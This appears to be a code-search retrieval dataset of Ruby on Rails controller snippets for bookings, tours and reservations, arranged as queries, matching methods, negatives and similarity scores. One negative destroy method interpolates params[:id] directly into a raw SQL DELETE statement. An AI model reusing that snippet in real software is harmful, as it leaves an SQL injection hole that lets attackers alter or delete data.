@booking.update(booking_params)\n @tour.avail_seats = @tour.avail_seats - requested_seat_count + current_seat_count\n @tour.save\n waitlist_handler(@booking.tour_id)\n format.html { redirect_to @booking, notice: 'Customer booking was successfully updated to ' + requested_seat_count.to_s + \" seats.\"}\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @trucking = Trucking.find(params[:id])\n\n respond_to do |format|\n if @trucking.update_attributes(params[:trucking])\n format.html { redirect_to @trucking, notice: 'Trucking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trucking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @reservation = Reservation.find(params[:id])\n if user_signed_in?\n @reservation.user_id = current_user.id\n elsif owner_signed_in?\n @reservation.owner_id = current_owner.id\n @reservation.restaurant = current_owner.restaurant\n end\n\n respond_to do |format|\n if @reservation.update_attributes(params[:reservation])\n \n # UserMailer.booking_update(current_user, @reservation).deliver\n # OwnerMailer.booking_update(@reservation).deliver\n\n format.html { redirect_to @reservation, notice: 'Reservation was successfully updated.' }\n format.json { render json: @reservation }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @booking = Booking.find(params[:id])\n authorize @booking\n if @booking.update(booking_params)\n redirect_to owner_bookings_path\n else\n render 'doppelgangers/show'\n end\n end", "def set_tour_booking\n @tour_booking = TourBooking.find(params[:id])\n end", "def update\n respond_to do |format|\n if @observations.update(obersvation_params)\n format.html { redirect_to @obersvation, notice: 'Obersvation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @obersvation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tutor_availability = TutorAvailability.find(params[:id])\n\n respond_to do |format|\n if @tutor_availability.update_attributes(params[:tutor_availability])\n format.html { redirect_to @tutor_availability, notice: 'Tutor availability was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tutor_availability.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @booking.update(booking_params)\n # render :show\n else\n render_error\n end\n end", "def update\n @bearing = Bearing.find(params[:id])\n if params[:to_needs_editing] # if update call from needs editing, set part status accordingly\n @bearing.release_status = \"needs editing\"\n else\n @bearing.release_status = \"pending\"\n end\n respond_to do |format|\n if @bearing.update_attributes(bearing_params)\n format.html { redirect_to(@bearing, :notice => 'Bearing was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bearing.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking_waitlist.update(booking_waitlist_params)\n format.html { redirect_to @booking_waitlist, notice: 'Booking waitlist was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking_waitlist }\n else\n format.html { render :edit }\n format.json { render json: @booking_waitlist.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n # if booking_params[:seats_booked].to_i < @booking.seats_booked.to_i\n tp = params.fetch(:booking).permit(:customer_id,:tour_id,:seats_booked,:preference)\n seats = @booking.seats_booked.to_i - booking_params[:seats_booked].to_i\n @tour = Tour.find(@booking.tour_id)\n @tour.seats = @tour.seats + booking_params[:seats_booked].to_i\n @tour.save\n tp[:seats_booked] = seats\n\n @tour = Tour.find(@booking.tour_id)\n\n # booking_db = Booking.order(\"created_at ASC\").find(params[:tour_id])\n booking_db = Booking.all.sort_by {|booking| booking.created_at }\n booking_db.each do |booking|\n if booking.seats_booked <= @tour.seats && booking.status == 0\n @tour.seats = @tour.seats - booking.seats_booked\n booking.status = 1\n booking.save\n @tour.save\n WaitListConfirmationMailer.notify_user(booking.customer).deliver_now\n end\n end\n\n\n # format.html { redirect_to @booking, notice: 'cannot delete more seats than booked' }\n # format.json { render :edit, status: :ok, location: @booking }\n # end\n\n\n respond_to do |format|\n if @booking.update(tp)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tourney_set.update(tourney_set_params)\n format.html { redirect_to @tourney_set, notice: 'Tourney set was successfully updated.' }\n format.json { render :show, status: :ok, location: @tourney_set }\n else\n format.html { render :edit }\n format.json { render json: @tourney_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @arrival = Arrival.find(params[:id])\n\n respond_to do |format|\n if @arrival.update_attributes(params[:arrival])\n format.html { redirect_to @arrival, notice: 'Arrival was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @arrival.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @arrival = Arrival.find(params[:id])\n\n respond_to do |format|\n if @arrival.update_attributes(params[:arrival])\n format.html { redirect_to @arrival, notice: 'Arrival was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @arrival.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @reservation = Reservation.find(params[:id])\n if user_signed_in?\n @reservation.user_id = current_user.id\n elsif owner_signed_in?\n reservation_status = params[:reservation].delete(:status)\n set_reservation_status(reservation_status)\n @reservation.owner_id = current_owner.id\n @reservation.restaurant = current_owner.restaurant\n end\n\n respond_to do |format|\n if @reservation.update_attributes(params[:reservation])\n \n # UserMailer.booking_update(current_user.id, @reservation.id).deliver\n # OwnerMailer.booking_update(@reservation.id).deliver\n\n format.html { redirect_to :back ,\n notice: 'Reservation was successfully updated.'\n } #redirect_to @reservation, notice: 'Reservation was successfully updated.' }\n format.json { render json: @reservation }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @customizebooking = Customizebooking.find(params[:id])\n\n respond_to do |format|\n if @customizebooking.update_attributes(params[:customizebooking])\n format.html { redirect_to(@customizebooking, :notice => 'Customizebooking was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @customizebooking.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_booking\n @booking = booking.find(params[:id])\n end", "def update\n @brochure_travel = BrochureTravel.find(params[:id])\n\n respond_to do |format|\n if @brochure_travel.update_attributes(params[:brochure_travel])\n format.html { redirect_to(@brochure_travel, :notice => 'Brochure travel was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @brochure_travel.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @b_twelf.update(b_twelf_params)\n format.html { redirect_to year_action_plan_path(@year,@action_plan), notice: 'B twelf was successfully updated.' }\n format.json { render :show, status: :ok, location: @b_twelf }\n else\n format.html { render :edit }\n format.json { render json: @b_twelf.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.72527105", "0.7207738", "0.6904247", "0.69001466", "0.6874737", "0.68597555", "0.6831179", "0.68184495", "0.68184495", "0.68184495", "0.6812191", "0.6782855", "0.6778548", "0.6758355", "0.6758355", "0.6758355", "0.67571443", "0.67536205", "0.6751031", "0.67438704", "0.67438704", "0.67438704", "0.67438704", "0.67438704", "0.67438704", "0.67438704", "0.67438704", "0.67438704", "0.67438704", "0.67438704", "0.67438704", "0.6742621", "0.6741935", "0.6724775", "0.6719173", "0.6716853", "0.6685616", "0.6683862", "0.6680945", "0.6676903", "0.66695267", "0.6615727", "0.65938216", "0.65882576", "0.6572793", "0.6539233", "0.65391433", "0.65350896", "0.65311927", "0.6527134", "0.6501367", "0.6488896", "0.6487167", "0.6486398", "0.64684325", "0.6462264", "0.6446389", "0.6430739", "0.63985145", "0.6373114", "0.6367426", "0.6364628", "0.635568", "0.6346124", "0.6343158", "0.63359183", "0.6333766", "0.6331883", "0.63118005", "0.62678075", "0.6258449", "0.6249307", "0.62195045", "0.6217304", "0.6208524", "0.61994654", "0.6194604", "0.6176283", "0.6176143", "0.6163369", "0.61583424", "0.6154514", "0.61465484", "0.6144419", "0.61437845", "0.61143905", "0.6113464", "0.6111519", "0.6101938", "0.6101829", "0.60966706", "0.60916793", "0.6091501", "0.60703564", "0.60703564", "0.6067881", "0.6066431", "0.60563374", "0.6056078", "0.6052735" ]
0.61339504
85
DELETE /booking_tours/1 DELETE /booking_tours/1.json
def destroy @booking_tour.destroy respond_to do |format| format.html { redirect_to booking_tours_url, notice: 'Booking tour was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @tour_booking.destroy\n respond_to do |format|\n format.html { redirect_to tour_bookings_url, notice: 'Tour booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to '/bookings' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tour = Tour.find(@booking.tour_id)\n @tour.avail_seats = @tour.avail_seats + @booking.no_of_seats\n @tour.save\n @booking.destroy\n waitlist_handler(@tour.id)\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n\n head :no_content\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: t('.success') }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to static_pages_new_booking_enquiry_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :ok }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to admin_bookings_url, notice: 'Bookingen er nu slettet.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_index_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to options_path, notice: 'Booking was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: \"Booking was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: \"Booking was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @seat_booking.destroy\n respond_to do |format|\n format.html { redirect_to seat_bookings_url, notice: 'Seat booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to home_path, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: \"Booking was successfully destroyed.\" }\n format.json { head :no_content }\n end\n Booking.create(user_id: 1, datareserva: @booking.datareserva, horareserva: @booking.horareserva, descricao: '')\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to hairdresser_bookings_path(@hairdresser), notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html do\n redirect_to bookings_url,\n notice: 'Booking was successfully destroyed.'\n end\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to portal_bookings_url, notice: 'booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @ninety_ten_booking.destroy\n respond_to do |format|\n format.html { redirect_to ninety_ten_bookings_url, notice: 'Ninety ten booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n if @booking.destroy\n respond_to do |format|\n format.html { redirect_to grounds_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n end", "def destroy\n @tblbooking.destroy\n respond_to do |format|\n format.html { redirect_to tbl_bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n redirect_to root_path\n \n end", "def destroy\n @booking_clerk.destroy\n respond_to do |format|\n format.html { redirect_to booking_clerks_url, notice: 'Booking clerk was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n redirect_to dashboard_path\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to profile_bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking_info.destroy\n respond_to do |format|\n format.html { redirect_to booking_infos_url, notice: 'Booking info was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to(bookings_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to(bookings_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @booking.destroy\n end", "def destroy\n @test_booking = TestBooking.find(params[:id])\n @test_booking.destroy\n\n respond_to do |format|\n format.html { redirect_to(test_bookings_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @fg_booking.destroy\n respond_to do |format|\n format.html { redirect_to fg_bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n respond_with(@booking)\n end", "def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to user_bookings_url, notice: 'Application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tablebooking.destroy\n respond_to do |format|\n format.html { redirect_to tablebookings_url, notice: 'Tablebooking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @brochure_travel = BrochureTravel.find(params[:id])\n @brochure_travel.destroy\n\n respond_to do |format|\n format.html { redirect_to(brochure_travels_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @booking_waitlist.destroy\n respond_to do |format|\n format.html { redirect_to booking_waitlists_url, notice: 'Booking waitlist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @online_booking.destroy\n respond_to do |format|\n format.html { redirect_to online_bookings_url, notice: 'Online booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking_detail.destroy\n @flat = Flat.find(@booking_detail.flat_id)\n @flat.update(:booking_status=> 0, :booking_date=> nil)\n respond_to do |format|\n format.html { redirect_to booking_details_url, notice: 'Booking detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @arrival = Arrival.find(params[:id])\n @arrival.destroy\n\n respond_to do |format|\n format.html { redirect_to arrivals_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @arrival = Arrival.find(params[:id])\n @arrival.destroy\n\n respond_to do |format|\n format.html { redirect_to arrivals_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cancelbooking = Cancelbooking.find(params[:id])\n @cancelbooking.destroy\n\n respond_to do |format|\n format.html { redirect_to cancelbookings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking_history.destroy\n respond_to do |format|\n format.html { redirect_to booking_histories_url, notice: 'Booking history was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n sql = \"DELETE FROM Booking WHERE bookingId = #{params[:id]}\"\n ActiveRecord::Base.connection.execute(sql)\n\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @booking_status.destroy\n respond_to do |format|\n format.html { redirect_to booking_statuses_url, notice: 'Booking status was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @hotel_stay = HotelStay.find(params[:id])\n @hotel_stay.destroy\n\n respond_to do |format|\n format.html { redirect_to hotel_stays_url }\n format.json { head :no_content }\n end\n end", "def destroy\n booking = Booking.find(params[:id])\n\n # Check if user is the owner of the booking\n if current_user[:id] == booking[:user_id]\n if booking.destroy\n render json: { status: 'SUCCESS', message: 'Deleted booking', data: booking }, status: :ok\n else\n render json: { status: 'FAILURE', message: 'Something went wrong' }, status: :unprocessable_entity\n end\n end\n end", "def destroy\n @bookalawn.destroy\n respond_to do |format|\n format.html { redirect_to bookalawns_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bride.destroy\n respond_to do |format|\n format.html { redirect_to brides_url, notice: 'Bride was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @observance.destroy\n respond_to do |format|\n format.html { redirect_to observances_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bustour.destroy\n respond_to do |format|\n format.html { redirect_to bustours_url }\n format.json { head :no_content }\n end\n end", "def destroy\n booking = @booking\n @booking.destroy\n respond_to do |format|\n flash[:success] = \"Your Booking was Cancelled Successfully\"\n format.html { redirect_to bookings_url}\n format.json { head :no_content }\n end\n end", "def destroy\n @taxi_booking.destroy\n\n respond_to do |format|\n format.html { redirect_to :back, alert: @taxi_booking.errors[:base][0] }\n format.json { head :ok }\n end\n end", "def destroy\n @fbooking.destroy\n respond_to do |format|\n format.html { redirect_to fbookings_url, notice: \"Fbooking was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @tribe.destroy\n respond_to do |format|\n format.html { redirect_to tribes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @booked_hour.destroy\n respond_to do |format|\n format.html { redirect_to booked_hours_url}\n format.json { head :no_content }\n end\n end", "def destroy\n @booking.destroy\n redirect_to bookings_url, notice: 'Booking was successfully destroyed.'\n end", "def destroy\n reservation = Reservation.find(params[:id])\n if reservation\n reservation.destroy\n render json: reservation\n else \n render json: [\"Reservation doesnt exist\"], status: 404 \n end \n end", "def destroy\n @rental.destroy\n respond_to do |format|\n format.html do\n redirect_to car_rentals_path(@car)\n flash[:success] = 'Booking was successfully destroyed.'\n end\n format.json { head :no_content }\n end\n end", "def destroy\n @borrow = Borrow.find(params[:id])\n @borrow.destroy\n\n respond_to do |format|\n format.html { redirect_to borrows_url }\n format.json { head :ok }\n end\n end", "def destroy\n @tour_date = TourDate.find(params[:id])\n @tour_date.destroy\n\n respond_to do |format|\n format.html { redirect_to tour_dates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bookingfinal.destroy\n respond_to do |format|\n format.html { redirect_to bookingfinals_url, notice: 'Bookingfinal was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @travel.destroy\n respond_to do |format|\n format.html { redirect_to travels_url, notice: 'Travel was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bus_seat_type = BusSeatType.find(params[:id])\n @bus_seat_type.destroy\n\n respond_to do |format|\n format.html { redirect_to bus_seat_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @travel.destroy\n respond_to do |format|\n format.html { redirect_to travels_url, notice: \"Travel was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n# redirect_to activacionclientets_path # ted esto para evitar que borren por la web. ok. Que valla al index. provisional ok.\n \n #@activacionclientet.destroy\n respond_to do |format|\n format.html { redirect_to activacionclientets_url, notice: 'Activacionclientes no se puede eliminar por esta via. Contacte el administrador.' } # ted esto para evitar que borren por la web\n format.json { head :no_content }\n end\n end", "def destroy\n @trein_consul_comercial.destroy\n respond_to do |format|\n format.html { redirect_to trein_consul_comercials_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @appointment.destroy\n head 204\n end", "def destroy\n @reservation.destroy\n\n respond_to do |format|\n format.html { redirect_to reservations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tourney.destroy\n respond_to do |format|\n format.html { redirect_to tourneys_url, notice: 'Tourney was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to [@user, @brewery, @reservation], notice: 'Reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.7720043", "0.7508842", "0.7508842", "0.75019956", "0.7438015", "0.7422214", "0.7407837", "0.74029285", "0.7401581", "0.7401581", "0.7401581", "0.7401581", "0.7392334", "0.7372454", "0.72857356", "0.7258151", "0.7254822", "0.7254383", "0.7254383", "0.7254383", "0.7254383", "0.7254383", "0.7254383", "0.7254383", "0.7254383", "0.7254383", "0.7254383", "0.7254383", "0.7254383", "0.7254383", "0.7254383", "0.7254383", "0.7254383", "0.7254383", "0.7254383", "0.7254383", "0.7254134", "0.7250797", "0.7250797", "0.72349954", "0.7222501", "0.72202724", "0.72006303", "0.71998215", "0.71806484", "0.7179016", "0.7175441", "0.71620613", "0.71590036", "0.7150331", "0.71328706", "0.7129998", "0.7118217", "0.7108621", "0.71049845", "0.71049845", "0.7091422", "0.70898926", "0.7083333", "0.70686406", "0.7063632", "0.70491076", "0.7047117", "0.7042629", "0.7041545", "0.70406663", "0.7027309", "0.7027309", "0.7022353", "0.70139974", "0.6994483", "0.6992947", "0.69917625", "0.69793355", "0.69635147", "0.6961476", "0.6945798", "0.6930925", "0.6895588", "0.68904513", "0.6880928", "0.68799585", "0.68781626", "0.68526155", "0.6849324", "0.6848507", "0.68407863", "0.6834814", "0.6826577", "0.68237305", "0.6822385", "0.6822245", "0.68195045", "0.6817901", "0.681697", "0.6816242", "0.6815416", "0.6812821", "0.6799133", "0.6799133" ]
0.7727149
0
Use callbacks to share common setup or constraints between actions.
def set_booking_tour @booking_tour = BookingTour.find(params[:id]) # @my_bookings = BookingTour.find(:all, conditions => {:user_id => current_user.id}) @tour = Tour.find(@booking_tour.tour_id) @user = User.find(@booking_tour.user_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n 